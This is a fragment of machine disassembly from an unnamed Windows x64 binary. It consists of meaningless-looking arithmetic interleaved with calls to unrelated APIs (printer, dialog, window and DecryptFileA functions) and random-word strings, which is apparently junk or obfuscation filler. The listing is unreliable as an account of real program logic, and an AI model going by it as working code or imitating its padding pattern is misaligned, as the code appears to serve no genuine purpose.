sub ecx, eax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3727]
movsx eax, al
add eax, edx
cmp ecx, eax
jne 0x14000aaa6
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
add edx, eax
movzx ecx, byte [rbp + 0x3727]
movzx eax, byte [rbp + 0x4fd7]
and eax, ecx
movsx eax, al
cmp edx, eax
jl 0x14000aa0d
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
test eax, eax
jne 0x14000a9e9
lea rax, [rbp + 0x6b7]
mov qword [rbp + 0x25498], rax
mov edx, dword [rbp + 0x1dc8]
mov rax, qword [rbp + 0x1540]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24be0]
mov rax, qword [rax]
xor rax, rdx
mov qword [rbp + 0x2af0], rax
mov rax, qword [rbp + 0x43a0]
mov qword [rbp + 0x4938], rax
lea rax, [rbp + 0x60c4]
mov qword [rbp + 0x25610], rax
jmp 0x14000aa0d
movzx eax, byte [rbp + 0x7515]
movzx edx, al
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x1b37], al
nop
movzx eax, byte [rbp + 0x7515]
movzx eax, al
test eax, eax
jne 0x14000aa84
movzx eax, word [rbp + 0x42b2]
movsx edx, ax
movzx eax, word [rbp + 0x5242]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
movzx eax, word [rbp + 0x7ee]
mov word [rbp + 0x6616], ax
mov rax, qword [rbp + 0x1b28]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3727]
or eax, edx
mov byte [rbp + 0x4fd7], al
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b37]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
jmp 0x14000aaa6
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
and rdx, rax
mov rax, qword [rbp + 0x25588]
mov qword [rax], rdx
nop
movzx eax, byte [rbp + 0x3727]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add eax, edx
mov byte [0x140174a86], al
lea rax, [rbp + 0x1068]
mov qword [rbp + 0x24ba0], rax
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x1b1c], edx
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25588]
mov rax, qword [rax]
sub rdx, rax
cmp rcx, rdx
jne 0x14015a35d
movzx edx, byte [rbp + 0x1b37]
movzx eax, byte [rbp + 0x7515]
and eax, edx
movzx edx, al
mov rax, qword [rbp + 0x4710]
movzx eax, byte [rax]
movzx r8d, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x14015a209
movzx eax, byte [rbp + 0x7515]
movzx edx, al
mov rax, qword [rbp + 0x25498]
movzx eax, byte [rax]
movzx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x4710]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1b37]
movzx eax, al
add eax, edx
cmp ecx, eax
jle 0x14000ab9b
call fcn.14015bd61
jmp 0x14000acb1
movzx eax, byte [rbp + 0x3727]
mov byte [rbp + 0x7477], al
mov rdx, qword [rbp + 0x4938]
mov rax, qword [rbp + 0x43a0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
sub rdx, rax
cmp rcx, rdx
jle 0x14000ac1e
mov rax, qword [rbp + 0x1b28]
movzx edx, byte [rax]
movzx eax, byte [0x140174a86]
or edx, eax
mov rax, qword [rbp + 0x25630]
mov byte [rax], dl
mov rdx, qword [rbp + 0x1988]
mov rcx, qword [rbp + 0x43c8]
mov rax, qword [rbp + 0x25650]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MenuItemFromPoint]
call rax
mov dword [rbp + 0x1bb8], eax
jmp 0x14000acb1
mov edx, dword [rbp + 0x1b1c]
mov eax, dword [rbp + 0x60c4]
lea r8d, [rdx + rax]
mov edx, dword [rbp + 0x2978]
mov eax, dword [rbp + 0x473c]
mov ecx, eax
shr edx, cl
mov eax, edx
cmp r8d, eax
je 0x14000acb1
mov rax, qword [rbp + 0x25630]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4fd7]
xor eax, edx
mov byte [0x140174a86], al
mov rax, qword [rbp + 0x24bd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x24c08]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1f20]
lea r8, [rbp + 0x1068]
lea rcx, [rbp + 0x2e90]
lea rdx, [rbp + 0x1540]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rbp + 0x24c5c], eax
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and eax, edx
mov dword [rbp + 0x1068], eax
lea rax, [rbp + 0x7280]
mov qword [rbp + 0x24b98], rax
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0x255a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x6616], ax
movzx eax, byte [rbp + 0x7515]
movzx edx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
sub edx, eax
movzx ecx, byte [rbp + 0x1b37]
movzx eax, byte [rbp + 0x6b7]
and eax, ecx
movzx eax, al
cmp edx, eax
jg 0x14000ade5
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x42b2]
movsx edx, ax
movzx eax, word [rbp + 0x5242]
cwde
add eax, edx
cmp ecx, eax
jl 0x14000ae3b
movzx eax, word [rbp + 0x4cb6]
movzx edx, ax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
sub edx, eax
mov r8d, edx
movzx eax, word [rbp + 0x7ee]
movzx edx, ax
mov rax, qword [rbp + 0x255a0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
jle 0x14000ae3b
mov rax, qword [rbp + 0x4710]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
movsx r9d, ax
mov rax, qword [rbp + 0x254f8]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x14000ae3b
movzx edx, word [rbp + 0x1a86]
movzx eax, word [rbp + 0x42b2]
or edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
mov rax, qword [rbp + 0x25498]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x7515]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x6b7], al
lea rax, [rbp + 0x4d70]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseColorA]
call rax
mov dword [rbp + 0x24b94], eax
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
test eax, eax
jne 0x14000afbb
mov rax, qword [rbp + 0x25630]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4fd7]
xor edx, eax
mov rax, qword [rbp + 0x25630]
mov byte [rax], dl
movzx edx, word [rbp + 0x6a1e]
movzx eax, word [rbp + 0x1a86]
and eax, edx
movsx ecx, ax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x638]
cwde
sub edx, eax
cmp ecx, edx
je 0x14000b001
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25608]
mov word [rax], dx
mov rax, qword [rbp + 0x255a0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x42c0]
movzx eax, word [rax]
and eax, edx
movzx edx, ax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx ecx, ax
movzx eax, word [rbp + 0xbf4]
movzx eax, ax
add eax, ecx
cmp edx, eax
jge 0x14000af65
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
cmp eax, 0x24
je 0x14000af2b
cmp eax, 0xf6
jne 0x14000af31
mov rax, qword [rbp + 0x25610]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x66d0], eax
jmp 0x14000af31
call fcn.14015bd61
nop
mov rdx, qword [rbp + 0x24c68]
mov rax, qword [rbp + 0x24c68]
lea r9, str.quietened_terraced_buskers
lea r8, str.vamper_impasse_Snowdrifts_Doggerel
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowExA]
call rax
mov qword [rbp + 0x255f8], rax
jmp 0x14000b001
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x25638]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x7477]
movsx eax, al
add eax, edx
cmp ecx, eax
jg 0x14000b001
mov edx, dword [rbp + 0x1bb8]
mov eax, dword [rbp + 0x1dc8]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
jmp 0x14000b001
mov rax, qword [rbp + 0x25498]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x25608]
movzx eax, word [rax]
movsx r9d, ax
mov rax, qword [rbp + 0x24ba0]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x24bf0]
mov rdx, qword [rax]
movzx eax, byte [rbp + 0x7515]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x14000b002
nop
movzx eax, word [rbp + 0x6616]
movzx eax, ax
test eax, eax
je 0x14000b020
cmp eax, 0x7dc
je 0x14000b0f9
jmp 0x14000b117
mov rdx, qword [rbp + 0x2af0]
movabs rax, 0xa2c4dc40bb9cacb7
cmp rdx, rax
jne 0x14000b0f6
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x4bf8]
or rax, rdx
mov qword [rbp + 0x7280], rax
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x25588]
mov qword [rax], rdx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
cmp eax, 0xcb227e9d
je 0x14000b08e
cmp eax, 0xe2c33050
je 0x14000b0cd
jmp 0x14000b0f7
mov ecx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx r9d, al
mov r8d, dword [rbp + 0x3784]
mov rax, qword [rbp + 0x25608]
movzx eax, word [rax]
movsx edx, ax
movzx eax, byte [rbp + 0x7515]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400017de
jmp 0x14000b0f4
lea rdx, [rbp + 0x830]
mov rax, qword [rbp + 0x24b88]
mov r8, rdx
lea rdx, [fcn.14015bd61]
mov rcx, rax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rbp + 0x24bdc], eax
nop
jmp 0x14000b0f7
nop
jmp 0x14000b117
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6ad6]
xor edx, eax
mov rax, qword [rbp + 0x255a0]
mov word [rax], dx
nop
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
movabs rax, 0x4000000000000000
cmp rdx, rax
jne 0x14015a070
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
mov qword [rbp + 0x5720], rax
movzx edx, byte [rbp + 0x7515]
movzx eax, byte [rbp + 0x6b7]
add eax, edx
mov byte [rbp + 0x1b37], al
lea rax, [rbp + 0x3a0b]
mov qword [rbp + 0x24b80], rax
mov rax, qword [rbp + 0x25608]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x42b2], ax
mov rax, qword [rbp + 0x254c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
movzx eax, byte [rbp + 0x1b37]
movzx eax, al
test eax, eax
je 0x14000b1c7
cmp eax, 0x10
je 0x140159ec1
movzx eax, byte [0x140174a86]
movsx edx, al
mov rax, qword [rbp + 0x24b80]
movzx eax, byte [rax]
movsx eax, al
add edx, eax
mov rax, qword [rbp + 0x25638]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
and eax, ecx
movsx eax, al
cmp edx, eax
jl 0x14000b282
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
cmp eax, 0x14
jne 0x14015a16b
mov rax, qword [rbp + 0x42c0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x6616]
mov rax, qword [rbp + 0xc80]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x79e8]
mov r8d, 1
mov edx, 0x94
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowScrollBar]
call rax
mov dword [rbp + 0x24c2c], eax
mov edx, dword [rbp + 0x1bb8]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x6c4], edx
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24b98]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x24c00]
mov qword [rax], rdx
lea rax, [rbp + 0x3c90]
mov r8d, 0xe0
mov rdx, rax
mov ecx, 0x8c
mov rax, qword [sym.imp.USER32.dll_GetClipboardFormatNameA]
call rax
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx r9d, al
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx r8d, al
mov rax, qword [rbp + 0x24bd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x14015a186
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1b1c]
and edx, eax
mov rax, qword [rbp + 0x24c40]
mov dword [rax], edx
nop
jmp 0x14015a189
movzx eax, byte [0x140174a86]
movsx edx, al
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x25630]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x3a0b]
or eax, ecx
movsx eax, al
cmp edx, eax
jg 0x14015a2dd
movzx eax, byte [rbp + 0x1b37]
movzx eax, al
cmp eax, 2
jne 0x14015a2b9
movzx eax, word [rbp + 0x6a1e]
mov edx, eax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3494], ax
movzx eax, byte [rbp + 0x1b37]
movzx ecx, al
mov rax, qword [rbp + 0x25498]
movzx eax, byte [rax]
movzx r9d, al
mov rax, qword [rbp + 0x25498]
movzx eax, byte [rax]
movzx r8d, al
mov rdx, qword [rbp + 0x4938]
mov rax, qword [rbp + 0x24bd0]
mov rax, qword [rax]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x14015a3a6
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
jmp 0x14015a3a6
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6c4]
mov ecx, edx
xor ecx, eax
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3784]
add eax, edx
cmp ecx, eax
jge 0x14015a3a6
movzx edx, word [rbp + 0x4cb6]
movzx eax, word [rbp + 0x1a8c]
add eax, edx
mov word [rbp + 0x6ad6], ax
lea rcx, [rbp + 0x1b1c]
mov rax, qword [rbp + 0x25488]
lea rdx, [rbp + 0x3110]
mov qword [rsp + 0x20], rdx
mov r9d, 0x76
mov r8, rcx
mov edx, 0x8b
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TileWindows]
call rax
mov word [rbp + 0x1a8c], ax
jmp 0x14015a3a6
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
mov ecx, edx
sub ecx, eax
mov edx, dword [rbp + 0x210c]
mov eax, dword [rbp + 0x66d0]
sub edx, eax
cmp ecx, edx
je 0x14015a3a6
mov rax, qword [rbp + 0x24be0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24bf0]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [sym.imp.comdlg32.dll_CommDlgExtendedError]
call rax
mov dword [rbp + 0x473c], eax
nop
mov rax, qword [rbp + 0x25568]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_IsHungAppWindow]
call rax
mov dword [rbp + 0x3544], eax
mov rax, qword [rbp + 0x25588]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
add rax, rdx
mov qword [rbp + 0x3680], rax
movzx edx, word [rbp + 0x4cb6]
movzx eax, word [rbp + 0x6ad6]
and eax, edx
movzx edx, ax
movzx eax, word [rbp + 0x7ee]
movzx ecx, ax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
add eax, ecx
cmp edx, eax
jge 0x14015a577
mov rdx, qword [rbp + 0x6b30]
mov rax, qword [rbp + 0x4bf8]
sub rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
cwde
cmp eax, 0x7797
jne 0x14015a4d7
lea rdx, [rbp + 0x6c90]
mov rax, qword [rbp + 0x24ae0]
mov r8, rdx
lea rdx, str.lovestruck_interplanetary
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetClassInfoExA]
call rax
mov dword [rbp + 0x24c1c], eax
mov ecx, dword [rbp + 0x3784]
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1540]
sub ecx, edx
mov dword [rax], ecx
movzx edx, byte [rbp + 0x4fd7]
movzx eax, byte [rbp + 0x3727]
or eax, edx
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x1f20]
lea rcx, [rbp + 0x26b0]
lea rdx, [rbp + 0x2d70]
mov r9, rcx
mov r8d, pe_nt_image_headers64
mov rcx, rax
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rbp + 0x24c3c], eax
jmp 0x14015a501
movzx eax, word [rbp + 0x6ad6]
movzx edx, ax
mov rax, qword [rbp + 0x42c0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x255a0]
mov word [rax], dx
nop
jmp 0x14015a577
lea rax, [rbp + 0x1e40]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_PageSetupDlgA]
call rax
mov dword [rbp + 0x24bc4], eax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov ecx, dword [rbp + 0x78ec]
movzx eax, byte [rbp + 0x7515]
movzx r9d, al
mov r8d, dword [rbp + 0x1068]
movzx eax, word [rbp + 0x1a86]
movsx edx, ax
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400017de
jmp 0x14015a578
nop
mov rax, qword [rbp + 0x24bd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
mov rcx, rax
call fcn.14015b610
mov rax, qword [rbp + 0x42c0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x255a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1a8c], ax
nop
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x473c]
mov rax, qword [rbp + 0x25538]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c40]
mov dword [rax], edx
jmp 0x14015a608
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24be0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
sub rdx, rax
mov rax, qword [rbp + 0x255d0]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
add rax, rcx
cmp rax, rdx
jb 0x14015a6eb
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x76
je 0x14015a6be
cmp eax, 0x7d
jne 0x14015a6eb
movzx eax, word [rbp + 0x1a8c]
movzx edx, ax
mov rax, qword [rbp + 0x255a0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x6ad6], ax
movzx eax, byte [rbp + 0x7515]
movzx ecx, al
mov rax, qword [rbp + 0x25608]
movzx eax, word [rax]
movsx r9d, ax
mov r8d, dword [rbp + 0x1068]
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4710]
movzx eax, byte [rax]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x14015a6eb
lea rcx, [rbp + 0x4710]
lea rdx, [rbp + 0xbf4]
mov rax, qword [rbp + 0x25530]
mov r9, rcx
mov r8d, 0x25
mov rcx, rax
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rbp + 0x2c34], eax
nop
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x7515]
xor edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
movzx eax, byte [rbp + 0x6b7]
movzx ecx, al
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
movsx r9d, ax
mov r8d, dword [rbp + 0x3784]
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x14015a761
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1dc8]
or eax, edx
mov dword [rbp + 0x1068], eax
mov eax, dword [rbp + 0x1b1c]
cmp eax, 0x55fd7e5a
jne 0x14015a790
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, qword [rbp + 0x24be0]
mov qword [rax], rdx
jmp 0x14015a791
nop
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
lea rdx, [rbp + 0x43a0]
mov rax, qword [rbp + 0x25650]
mov r9d, 0xad
mov r8, rdx
lea rdx, [fcn.1400017de]
mov rcx, rax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rbp + 0x2c34], eax
mov edx, dword [rbp + 0x66d0]
mov eax, dword [rbp + 0x1b1c]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x473c], eax
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
xor rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
lea rax, [rbp + 0x2e90]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_PrintDlgA]
call rax
mov dword [rbp + 0x3544], eax
nop
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x1b37]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
nop
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
movabs rdx, 0x7cac81ba0ba9d6a
cmp rax, rdx
je 0x14015a87d
movabs rdx, 0x5628bf5d923c3b79
cmp rax, rdx
je 0x14015a93e
jmp 0x14015a962
movzx eax, byte [rbp + 0x3a0b]
add eax, 0x1c
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
add eax, edx
cmp ecx, eax
je 0x14015a8fa
lea rdx, [rbp + 0x1200]
mov rax, qword [rbp + 0x255f8]
mov r8d, 0xd0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetClassNameA]
call rax
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x6b7]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
movzx eax, word [rbp + 0x638]
sub ax, 0x438
mov word [rbp + 0x42b2], ax
mov rax, qword [rbp + 0x24c20]
mov rcx, rax
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rbp + 0x24c88], eax
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x7280]
and rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
jmp 0x14015a962
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x3680], rax
nop
nop
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx ecx, al
movzx eax, word [rbp + 0x638]
movsx r9d, ax
mov rax, qword [rbp + 0x254f8]
mov r8d, dword [rax]
mov rdx, qword [rbp + 0x4bf8]
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x14015aa2c
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
add ax, 0x465
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
and rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x26b0]
mov edx, 0x5b
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_DecryptFileA]
call rax
mov dword [rbp + 0x56f8], eax
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x6b7]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
or eax, 0x11
mov byte [rbp + 0x3a0b], al
nop
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
call fcn.14015bd61
jmp 0x14015aab1
movzx eax, byte [rbp + 0x3a0b]
cmp al, 0x2a
jg 0x14015aaab
mov rax, qword [rbp + 0x25510]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x66d0], eax
lea rax, [rbp + 0x1a8c]
mov rcx, rax
